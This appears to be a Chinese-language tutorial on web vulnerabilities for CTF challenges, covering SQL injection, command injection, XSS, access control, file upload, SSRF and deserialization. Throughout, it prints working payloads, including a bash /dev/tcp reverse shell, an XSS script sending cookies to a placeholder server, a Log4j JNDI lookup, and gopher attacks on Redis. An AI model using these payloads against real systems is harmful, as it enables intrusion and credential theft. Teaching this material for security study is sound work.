Web漏洞全景解析:从原理溯源到实战攻防的进阶指南

web类型漏洞

Web 类型漏洞是指在 Web 应用程序的设计、开发或配置过程中产生的安全缺陷,攻击者可以利用这些缺陷执行未授权的操作,例如窃取数据、控制服务器或破坏服务。

以下是一些最常见和最具危害性的 Web 漏洞类型:

💉 注入 (Injection)

这类漏洞允许攻击者通过输入恶意指令来欺骗解释器,从而执行非预期的命令或访问数据。

  • SQL 注入 (SQLi): 攻击者将恶意的 SQL 代码插入到 Web 表单或 URL 参数中,欺骗服务器执行恶意 SQL 命令。这可能导致数据库信息泄露、数据被篡改甚至整个数据库被删除。
  • 命令注入 (Command Injection): 攻击者利用应用程序的缺陷,在服务器操作系统上执行任意系统命令。这是一种高风险漏洞,可能导致服务器被完全控制。

🎭 跨站脚本 (XSS)

XSS 攻击允许攻击者将恶意脚本(通常是 JavaScript)注入到受害者浏览的网页中。当其他用户访问该页面时,恶意脚本会在其浏览器上执行。

  • 危害: 攻击者可以窃取用户的会话 Cookie,从而劫持用户账户;也可以进行钓鱼欺骗或传播恶意代码。
  • 类型: 主要分为存储型(恶意脚本保存在服务器上)、反射型(通过诱骗用户点击恶意链接触发)和 DOM 型(在客户端脚本处理数据时发生)。

🔓 访问控制失效 (Broken Access Control)

这是 2021 年 OWASP Top 10 榜单中排名第一的漏洞。它指的是应用程序未能正确地限制用户对资源和功能的访问。

  • 表现: 普通用户可以访问管理员页面,或者用户可以查看、修改其他用户的敏感数据(越权访问)。

🧩 其他常见漏洞

  • 跨站请求伪造 (CSRF): 攻击者诱使已登录的用户在不知情的情况下,向一个受信任的网站发送恶意请求。例如,在用户登录银行网站后,访问攻击者的恶意网站,后者会自动触发一笔转账操作。
  • 文件上传漏洞: 攻击者上传一个包含恶意代码的文件(如 Webshell)到服务器并执行,从而获得服务器的控制权。
  • 安全配置错误: 由于系统、框架或服务器(如 Web 服务器、数据库)的安全配置不当或使用了默认配置,导致攻击者可以轻易获取敏感信息或访问权限。
  • 使用含有已知漏洞的组件: 应用程序中使用的库、框架或其他软件组件存在已知的安全漏洞,攻击者可以利用这些漏洞进行攻击。
  • 身份认证失效: 与身份验证和会话管理相关的功能实现不当,使得攻击者可以破解密码、劫持会话令牌或利用其他漏洞冒充合法用户。
  • 敏感信息泄露: 应用程序未能妥善保护敏感数据(如密码、信用卡号),可能通过错误信息、未加密的传输或存储等方式泄露。
  • 不安全的反序列化: 反序列化过程存在缺陷,可能导致远程代码执行、重放攻击或注入攻击。
  • 服务器端请求伪造 (SSRF): 攻击者诱使服务器向攻击者选择的任意位置发起请求,常用于探测内网或攻击内部服务。

SQL注入

🔍 如何识别题目类型

当你看到以下场景或提示时,应优先考虑 SQL 注入:

  • 功能场景 :登录页面、搜索框、商品详情页(URL 中有 id= 参数)、用户信息查询。
  • 题目提示
    • 题目描述提到"登录绕过"、"获取管理员密码"、"数据库查询"。
    • 输入特殊字符(如 ')后,页面报错(如 SQL syntax error),或者页面内容发生异常变化。
    • 题目给了数据库类型提示(如 MySQL, SQLite, MSSQL)。
🛠️ 对应做法与解题思路

第一步:判断注入点与类型

  • 测试字符 :输入 '"。如果页面报错或异常,说明存在注入点。
  • 判断类型
    • 字符型 :输入 1' 报错,输入 1' or '1'='1 可能成功。
    • 数字型 :输入 1 正常,输入 1 and 1=1 正常,输入 1 and 1=2 异常。

第二步:构造 Payload(攻击载荷)

根据题目类型选择不同的攻击手法:

注入类型 典型场景 常用 Payload 示例 目的
登录绕过 登录框 ' or '1'='1 ' or 1=1# 利用逻辑永真式绕过密码验证。
联合查询 显示数据的页面 1' union select 1, database()# 利用 UNION 操作符将攻击者的查询结果与原查询结果合并显示。
报错注入 页面显示数据库错误 1' and extractvalue(1, concat(0x7e, (select version()), 0x7e))# 利用数据库报错机制将数据通过错误信息回显出来。
盲注 页面只有"对/错"或无变化 1' and if(length(database())>5, sleep(5), 0)# 通过页面响应时间(时间盲注)或内容差异(布尔盲注)逐位猜解数据。

第三步:获取 Flag

  1. 猜解字段数 :使用 order by 语句(如 1' order by 3#),直到页面报错,确定查询的列数。
  2. 获取库名/表名 :利用 information_schema 库查询当前数据库名和表名。
  3. 获取列名/数据 :查询目标表的列名,最后通过 union selectflagpassword 查出来。
  4. 工具辅助 :如果是复杂的盲注,通常使用 SQLMap 等自动化工具进行跑库。

命令注入

🔍 如何识别题目类型

命令注入通常出现在 Web 应用需要与操作系统交互的场景中:

  • 功能场景
    • Ping 测试:输入 IP 地址,网站返回 Ping 的结果。
    • DNS 查询:输入域名查询解析记录。
    • 文件管理:在线解压、文件转换、查看文件属性。
  • 题目提示
    • 题目描述提到"网络检测"、"系统状态"、"执行命令"。
    • 输入框看似只接受 IP 或域名,但你可以尝试输入系统命令。
🛠️ 对应做法与解题思路

第一步:探测与验证

尝试在输入框中输入 IP 地址加上连接符,看是否能执行额外命令。

  • 常用连接符|||&&&;、换行符(%0a)。
  • 测试 Payload
    • 127.0.0.1 | whoami(Linux)
    • 127.0.0.1 && type C:\Windows\win.ini(Windows)
    • 如果页面返回了 www-data 或文件内容,说明注入成功。

第二步:绕过过滤(如果存在)

很多题目会过滤空格或敏感命令(如 cat, ls),需要绕过:

  • 绕过空格 :使用 ${IFS}<> 或换行符代替空格。
    • 例如:cat${IFS}flag.php
  • 命令拼接 :如果 cat 被禁,可以用 morelessheadtailbase64 查看文件。
  • 编码绕过 :如果关键字被过滤,可以将命令进行 Base64 编码,通过管道传递给 bash 执行(如 echo "Y2F0IGZsYWcucGhw" | base64 -d | bash)。

第三步:获取 Flag

  1. 直接读取 :如果知道 Flag 文件名,直接用 cat flag*ls 查看目录。
  2. 反弹 Shell :如果题目允许外联,可以构造 Payload 让服务器主动连接你的监听端口(如 bash -i >& /dev/tcp/你的IP/端口 0>&1),从而获得一个完整的命令行控制权。
  3. 工具辅助 :可以使用 Burp Suite 的 Intruder 模块或 Commix 工具进行自动化测试。

📌 总结对比

特征 SQL 注入 (SQLi) 命令注入 (Command Injection)
核心目标 数据库 (Database) 操作系统 (Operating System)
常见入口 登录框、搜索栏、ID 参数 Ping 工具、文件查看器、系统监控
关键符号 ' " ; -- # union `
解题核心 构造 SQL 语法闭合,查询敏感数据 拼接系统命令,读取文件或执行指令
防御原理 使用参数化查询 (PreparedStatement) 避免调用系统命令,或使用白名单校验

通过观察输入框的功能(是查数据还是调系统工具)以及尝试输入特殊符号后的反应,你就能快速区分这两类题目并采取相应的解题策略。

XSS漏洞

XSS(跨站脚本攻击)是 Web 安全中最常见且变化多端的漏洞类型。在 CTF 比赛或实际挖掘中,XSS 的核心在于**"代码注入"** 与**"执行环境"**。

根据恶意代码的存储位置、触发方式以及执行位置,XSS 主要分为三大类:反射型存储型DOM 型

以下是详细的识别特征与解题/利用思路:

🎣 反射型 XSS

这是最常见的一种类型,通常出现在 CTF 的入门题或钓鱼场景中。

🔍 如何识别
  • 场景特征 :搜索框、URL 参数(如 ?q=xxx)、错误提示页面。
  • 题目提示
    • 你在搜索框输入 <script>alert(1)</script>,页面直接弹出了弹窗。
    • 刷新页面后,弹窗消失(非持久化)。
    • 题目要求你构造一个链接,让管理员点击后获取 Cookie。
  • 核心逻辑:你输入的数据 -> 服务器接收 -> 服务器直接"反射"回浏览器 -> 浏览器执行。
🛠️ 做法与解题思路
  1. 基础测试
    • 在 URL 参数或搜索框输入 <script>alert(1)</script>
    • 如果没弹窗,查看网页源码,看你的输入是否被转义(如 < 变成了 &lt;)。
  2. 构造 Payload
    • 如果 <script> 标签被过滤,尝试使用事件句柄:<img src=x onerror=alert(1)>
    • 如果空格被过滤,使用 /%0a 代替空格,或者利用标签属性:<img/src=x onerror=alert(1)>
  3. 进阶利用(CTF 常见)
    • URL 编码 :为了绕过简单的 WAF 或浏览器解析差异,通常需要对 Payload 进行 URL 编码(如 < 变为 %3C)。

    • 钓鱼/窃取 Cookie:题目通常要求"让管理员访问你的链接"。你需要编写一段 JS 代码,将管理员的 Cookie 发送到你的服务器(或题目指定的接收端)。

    • Payload 示例 :html

      预览

      复制代码
      1<script>
      2location.href='http://你的服务器地址/collect.php?cookie='+document.cookie;
      3</script>

💾 存储型 XSS

这是危害最大的一种,被称为"持久化"攻击。

🔍 如何识别
  • 场景特征:留言板、评论区、个人资料修改(昵称/签名)、论坛发帖。
  • 题目提示
    • 你在留言板输入一段 JS 代码,提交后,只要刷新页面或换个浏览器访问该页面,代码都会自动执行。
    • 题目描述提到"留言板"、"评论"、"个人信息"。
  • 核心逻辑:你输入的数据 -> 服务器存入数据库 -> 受害者访问页面 -> 服务器从数据库取出并输出 -> 浏览器执行。
🛠️ 做法与解题思路
  1. 寻找输入点:找到所有能提交数据的地方(评论、昵称、头像文件名等)。
  2. 绕过前端验证
    • 有些网站前端 JS 会禁止输入 <,直接按 F12 删除 input 标签中的 maxlength 属性或修改 JS 逻辑,强行提交长 Payload。
  3. 构造 Payload
    • 同反射型,但要注意闭合环境 。如果输入点在 <textarea> 标签内,你需要先闭合它:</textarea><script>alert(1)</script>
  4. 自动化攻击(蠕虫)
    • 在 CTF 高难度题目中,可能需要利用存储型 XSS 制作"XSS 蠕虫"。即:受害者 A 访问页面 -> 执行 JS -> JS 自动修改 A 的资料(植入 XSS 代码) -> 受害者 B 访问 A 的资料 -> 中招。

🧩 DOM 型 XSS

这是一种纯前端的漏洞,不经过服务器端的处理,因此传统的服务器端 WAF 很难防御。

🔍 如何识别
  • 场景特征 :单页应用(SPA)、根据 URL 锚点(#)动态显示内容的页面、基于 URL 参数动态渲染的页面。
  • 题目提示
    • 你查看网页源码,发现 <script> 标签里没有明显的输出点,但页面内容会随着 URL 变化而变化。
    • 题目提示"DOM"、"前端逻辑"、"Hash"。
    • 输入 <script> 标签在 URL 的 # 后面(如 url.com/#<script>alert(1)</script>),页面执行了代码。
  • 核心逻辑 :浏览器请求页面 -> 服务器返回固定的 JS 代码 -> JS 代码读取 URL 参数/Hash -> JS 代码通过 innerHTMLdocument.write 写入页面 -> 执行。
🛠️ 做法与解题思路
  1. 审计前端代码
    • 这是解题关键。按 F12 查看 Sources 或搜索 JS 文件。
    • 寻找危险函数document.write(), innerHTML, eval(), location.hash, location.search
  2. 定位"源"与"汇"
    • 源 (Source) :数据从哪里来?通常是 location.hash(URL 的 # 后面部分)或 location.search(? 后面部分)。
    • 汇 (Sink) :数据去了哪里?如果是去了 innerHTML,通常存在 XSS。
  3. 构造 Payload
    • 如果代码是 document.write(location.hash),Payload 就是 http://site.com/#<script>alert(1)</script>
    • 注意:DOM 型 XSS 的 Payload 通常不会发送给服务器(因为 # 后面的内容浏览器不发送),所以你需要自己在本地构造 URL 测试。

📌 总结对比表

表格

特性 反射型 XSS 存储型 XSS DOM 型 XSS
持久性 非持久(一次性) 持久(永久存在数据库) 通常非持久(取决于 URL)
触发方式 诱导用户点击恶意链接 用户访问被植入恶意代码的页面 用户访问特定的恶意 URL
数据流向 客户端 -> 服务端 -> 客户端 客户端 -> 服务端(数据库) -> 客户端 客户端 -> 客户端 (JS 处理)
常见位置 搜索框、URL 参数 留言板、评论、用户资料 URL Hash (#)、前端 JS 逻辑
解题重点 URL 编码、构造钓鱼链接 寻找所有输入点、绕过长度限制 审计前端 JS 代码、找 Sink 点

🛡️ 通用绕过技巧 (Bypass)

在做题时,如果直接输入 <script> 没反应,通常是因为被过滤了。可以尝试以下技巧:

  1. 大小写混合<ScRiPt>alert(1)</ScRiPt>
  2. 双写绕过 :如果过滤器把 script 替换为空,可以用 <scr<script>ipt>alert(1)</scr<script>ipt>
  3. 利用其他标签
    • <img src=x onerror=alert(1)> (最常用)
    • <svg onload=alert(1)>
    • <body onload=alert(1)>
    • <input onfocus=alert(1) autofocus>
  4. 编码:HTML 实体编码、URL 编码、Base64 编码(视具体环境而定)。
  5. 闭合标签 :如果输入点在 <input value="这里"> 中,你需要先闭合:"><script>alert(1)</script>

访问控制失效

访问控制失效 (Broken Access Control) 是 OWASP Top 10 榜单中常年霸榜前列的漏洞。

简单来说,它的核心问题不是"你是谁"(那是身份认证),而是**"你能干什么"**。如果系统没能正确限制你访问资源或执行操作的权限,让你干了不该干的事,那就是访问控制失效。

在 CTF 比赛或漏洞挖掘中,这类题目通常被称为**"越权"**。以下是详细的识别与解题思路:

🎯 核心分类与识别

访问控制失效主要分为三大类,识别它们的关键在于观察**"当前用户"** 与**"目标资源/功能"**之间的关系。

类型 别名 核心逻辑 典型场景
水平越权 IDOR (不安全的直接对象引用) 同级互访。用户 A 访问了属于 用户 B 的数据。 查看他人订单、修改他人个人资料、查看他人私信。
垂直越权 权限提升 下级访上。普通用户访问了 管理员/超级用户 的功能。 普通用户访问 /admin 后台、执行"删除用户"操作。
上下文/流程越权 业务逻辑漏洞 跳过步骤。未按规定的业务流程执行操作。 购物时跳过支付步骤直接发货、未验证直接重置密码。

🛠️ 做法与解题思路
1. 水平越权 (IDOR) ------ 最常见

这是 CTF 中最容易拿分的点。

  • 如何识别
    • URL 或参数中包含明显的数字 ID,如 user_id=1001order_id=520
    • 页面显示"我的订单"、"个人信息"。
  • 解题做法
    • 修改参数 :抓包(使用 Burp Suite),将 ID 参数修改为其他数字(如 1001 改为 10021)。
    • 遍历测试:如果 ID 是连续的,可以使用工具(如 Burp Intruder)遍历 ID,看是否能获取到其他用户的数据(如 Flag 通常在管理员或其他特定用户的数据中)。
    • 利用弱校验:有些系统只校验 ID 是否存在,不校验 ID 是否属于当前登录用户。
    • Payload 示例
      • URL: GET /api/order?id=1002 (原为 1001)
      • JSON: {"user_id": 1, "action": "view_profile"}
2. 垂直越权 (权限提升) ------ 提权

目标是获取管理员权限或访问隐藏的高权限接口。

  • 如何识别
    • 题目提示"普通账号/弱口令账号"。
    • 页面有隐藏的"管理入口"或者你知道常见的后台路径(如 /admin, /dashboard)。
    • 功能按钮在界面上被隐藏(HTML 注释里可能有线索),但接口可能未做权限校验。
  • 解题做法
    • URL 探测 :尝试直接访问管理员路径,如 /admin, /manage, /system
    • 参数篡改
      • 修改 Cookie 或 POST 数据中的角色字段:role=user 改为 role=adminis_admin=0 改为 is_admin=1
      • 修改 HTTP 请求头:有些应用通过 X-User-Role: adminX-Original-URL 来判断权限。
    • 强制浏览 (Force Browsing) :如果你知道某个敏感 API 端点(如 /api/delete_user),直接用普通用户身份发送请求,看服务器是否拦截。
    • Payload 示例
      • Cookie: role=YWRtaW4= (Base64 编码的 "admin")
      • Header: X-Custom-IP-Authorize: 127.0.0.1 (伪造内网 IP 绕过限制)
3. 上下文/流程越权 ------ 逻辑漏洞

这类题目考察对业务逻辑的理解。

  • 如何识别
    • 多步骤流程:注册 -> 验证 -> 成功;或者 购物车 -> 支付 -> 订单完成。
    • 题目提示"未支付获取商品"或"绕过验证"。
  • 解题做法
    • 跳过步骤
      • 在第一步(如输入验证码)抓包,直接重放请求到第三步(如重置密码成功)。
      • 在支付页面,修改 POST 参数 price=100price=0.01status=paid
    • 状态篡改
      • 修改请求中的状态码或标志位,如 step=1 改为 step=3
    • HTTP 方法篡改
      • 如果 POST /api/update 需要权限,尝试用 GET /api/updatePUT 请求,看是否能绕过检查。

🛡️ 常见绕过技巧 (Bypass Tricks)

在做题时,如果直接访问被拒绝(403 Forbidden),可以尝试以下技巧:

  1. HTTP 请求头伪造
    • X-Forwarded-For: 127.0.0.1 (伪装成本地请求)
    • X-Original-URL: /admin
    • X-Rewrite-URL: /admin
  2. 参数污染
    • id=1001&id=1002 (后端可能只取第一个或最后一个)
  3. 利用 API 特性
    • JSON 参数覆盖{"user_id": 1001, "user_id": 1}
    • 数组参数id[]=1001&id[]=1002
  4. 路径遍历
    • 访问文件时:/download?file=../../etc/passwd (虽然属于文件读取,但也常归类为访问控制不当)。

📌 总结

遇到访问控制失效题目,核心心法是:"不要相信前端,不要相信默认逻辑"

  1. 看 ID:能不能改?(水平越权)
  2. 看角色:能不能改 Admin?(垂直越权)
  3. 看流程:能不能跳步?(逻辑越权)
  4. 看隐藏接口:能不能直接调?(强制浏览)

只要服务器端没有对每一个请求进行严格的"主体-动作-对象-上下文"校验,你就能找到突破口。

其他常见漏洞

除了前面提到的注入、XSS 和访问控制失效,Web 安全领域还有许多其他高频且危害巨大的漏洞。在 CTF 比赛或实际渗透中,这些漏洞往往因为开发者的疏忽或配置不当而出现。

以下是其他常见漏洞的识别特征与解题/利用思路:

🔑 1. 身份认证失效

这类漏洞的核心在于"系统没能确认你到底是不是你",或者确认的过程太容易被绕过。

🔍 如何识别
  • 场景:登录页面、找回密码页面、修改密码页面、验证码输入处。
  • 提示:题目提示"弱口令"、"找回密码"、"验证码绕过"。
🛠️ 做法与解题思路
  • 弱口令/默认口令
    • 做法 :尝试 admin/adminadmin/123456root/root 等常见组合。
    • 工具:使用 Burp Suite 的 Intruder 模块或 Hydra 进行字典爆破。
  • 暴力破解
    • 做法:如果登录没有验证码或验证码可复用,直接对用户名/密码进行爆破。
  • 验证码绕过
    • 做法
      1. 抓包重放:输入错误的验证码,抓包,修改参数再次发送,看是否校验了验证码的正确性。
      2. 删除参数 :删除 POST 请求中的验证码参数(如 code=),看能否跳过校验。
      3. 固定值 :尝试将验证码改为固定的值(如 00001234),看后端是否校验。
  • 密码重置漏洞
    • 做法 :在找回密码流程中,抓包修改 user_idemail 参数,尝试重置管理员的密码。

🧩 2. 文件上传漏洞

这是获取服务器权限(GetShell)的最直接途径之一。

🔍 如何识别
  • 场景:头像上传、附件上传、文件导入功能。
  • 提示:题目是一个上传界面,或者提示"上传你的文件"。
🛠️ 做法与解题思路

核心目标是:上传一个可执行的脚本文件(如 .php, .jsp, .asp)并被服务器解析执行。

  1. 前端验证绕过
    • 做法 :前端 JS 只检查文件后缀。直接在本地写一个 shell.php,或者用 Burp Suite 抓包,将文件名从 shell.php 改为 shell.jpg 传给前端 JS,但在抓包后改回 shell.php 发送给服务器。
  2. MIME 类型绕过
    • 做法 :抓包,将 Content-Typeapplication/octet-streamtext/plain 改为 image/jpegimage/png
  3. 后缀名黑名单绕过
    • 做法 :如果 .php 被禁,尝试 .php5, .phtml, .phps, .phar
    • 特殊技巧 :在 Apache 环境下尝试 .htaccess 解析漏洞;在 IIS 下尝试 .asp;.jpg
  4. 文件头检查绕过(图片马)
    • 做法 :如果服务器检查文件头(如 GIF89a),你需要制作"图片马"。
    • 命令copy 1.jpg/b + shell.php/a shell.php (Windows) 或在文件头部手动添加 GIF89a
  5. 竞争上传
    • 做法:如果服务器是先保存再删除(或重命名),使用 Burp Intruder 高频发送上传请求和访问请求,争取在文件被删除前访问到它。

📦 3. 使用含有已知漏洞的组件

这通常被称为"供应链攻击"或"组件漏洞",在 CTF 中常表现为特定的框架漏洞。

🔍 如何识别
  • 场景:题目给出了具体的 CMS 名称(如 WordPress, Dedecms)或框架版本(如 Struts2, Shiro, Log4j)。
  • 提示 :网页源码注释中泄露了版本号,或者 HTTP 响应头中有 X-Powered-By: Struts2
🛠️ 做法与解题思路
  1. 指纹识别
    • 做法:使用 Wappalyzer 插件或查看网页源码,确定使用的框架和版本。
  2. 查找 EXP
    • 做法:去 GitHub 或 Exploit-DB 搜索对应的 CVE 编号。
    • 常见案例
      • Log4j2 (CVE-2021-44228) :在 User-Agent 或任何输入框输入 ${jndi:ldap://你的服务器地址/Exploit}
      • Shiro 反序列化 :使用 shiro_rce_tool 生成 RememberMe 的 Cookie 进行攻击。
      • Struts2 系列:通常涉及 OGNL 表达式注入,直接发送特定的 HTTP 请求包。

🔗 4. 服务器端请求伪造

SSRF 允许攻击者诱使服务器向攻击者选择的任意位置发起请求。

🔍 如何识别
  • 场景:图片加载(输入 URL 加载图片)、网页截图、文件转换、API 测试工具。
  • 提示:输入框要求输入一个 URL,或者提示"内网探测"。
🛠️ 做法与解题思路

核心目标是:利用服务器作为跳板,访问内网资源或读取本地文件。

  1. 基础探测
    • 做法 :输入 http://127.0.0.1:80http://localhost,看页面返回内容是否有变化(如返回了内网页面的源码)。
  2. 协议利用
    • File 协议file:///etc/passwd (读取本地文件)。
    • Gopher 协议 :这是 SSRF 的大杀器,可以构造任意 TCP 数据包。例如利用 gopher://127.0.0.1:6379/_SET%20mykey%20myvalue 来攻击未授权的 Redis。
    • Dict 协议:用于探测端口开放情况。
  3. 端口扫描
    • 做法 :使用 Burp Intruder 遍历 127.0.0.1 的常见端口(22, 80, 3306, 6379, 8080)。
  4. 绕过过滤
    • IP 编码 :将 127.0.0.1 转换为十进制(2130706433)或十六进制。
    • DNS 重绑定 :使用专门的工具(如 ip.sh)生成一个域名,解析时轮流返回内网 IP 和外网 IP,以此绕过"禁止内网 IP"的校验。

🔄 5. 不安全的反序列化

这是高难度漏洞,通常导致远程代码执行。

🔍 如何识别
  • 场景 :登录后的 Cookie 值非常长且看起来像乱码(Base64 编码),或者题目明确提示"Java 反序列化"、"PHP 反序列化"。
  • 提示 :题目给出了源码,其中包含 unserialize() (PHP) 或 readObject() (Java)。
🛠️ 做法与解题思路
  1. 识别格式
    • PHP :通常是 O:4:"User":2:{...} 这种格式。
    • Java :通常是 AC ED 00 05 (十六进制头) 或 Base64 后的 rO0AB
    • Pythonpickle 模块。
  2. 寻找 Gadget Chain (利用链)
    • 做法 :你需要找到一段代码,它在反序列化过程中会被自动执行(如 PHP 的 __wakeup__destruct 魔术方法)。
    • 工具
      • PHP : 使用 phpggc 工具生成 Payload。
      • Java : 使用 ysoserial 工具。
  3. 构造 Payload
    • 如果题目给了源码,你需要分析类中的方法,构造一个对象,使得它在被销毁或唤醒时执行 system('cat /flag') 之类的命令。
    • 将构造好的序列化字符串替换掉原来的 Cookie。

📌 总结:常见漏洞速查表

漏洞类型 核心特征 关键解题动作 常用工具
身份认证失效 登录框、验证码 爆破、改包绕过验证码 Burp Suite, Hydra
文件上传 上传头像、附件 改后缀、改 MIME、图片马 Burp Suite, 蚁剑/哥斯拉
已知组件漏洞 特定框架 (Struts/Shiro) 搜 CVE、发 EXP 包 GitHub, Nuclei
SSRF 输入 URL 加载资源 扫内网端口、读 file 协议 Gopherus, Burp
反序列化 长字符串 Cookie 分析魔术方法、构造利用链 phpggc, ysoserial

在实际做题中,信息收集是第一步。看清题目给了什么环境(PHP/Java/Python)、什么框架、有什么功能点,然后对应上面的表格去尝试,通常就能找到突破口。

相关推荐
TechWayfarer2 小时前
当IP来自太空:卫星互联网时代的IP归属地查询挑战与落地实践
服务器·网络·tcp/ip
电气铺二表姐137744166152 小时前
路灯安全用电云平台——守护城市照明,筑牢用电安全防线
网络
说实话起个名字真难啊2 小时前
Docker 入门之overlay网络
网络·docker·容器
老张的张Z2 小时前
CISSP 域3知识点 物理安全
安全·网络安全·安全架构
不一样的故事1262 小时前
Linux 系统网络配置
服务器·网络·php
帐篷Li2 小时前
创建Controller HTTP测试脚本
网络·网络协议·http
wanhengidc2 小时前
服务器如何防范爬虫攻击?
运维·服务器·网络·爬虫·游戏·智能手机
捞的不谈~2 小时前
LUCID相机(HTR003S-001)更改IP地址
网络·网络协议·tcp/ip
老张的张Z2 小时前
CISSP 域4知识点 网络组件安全
网络·安全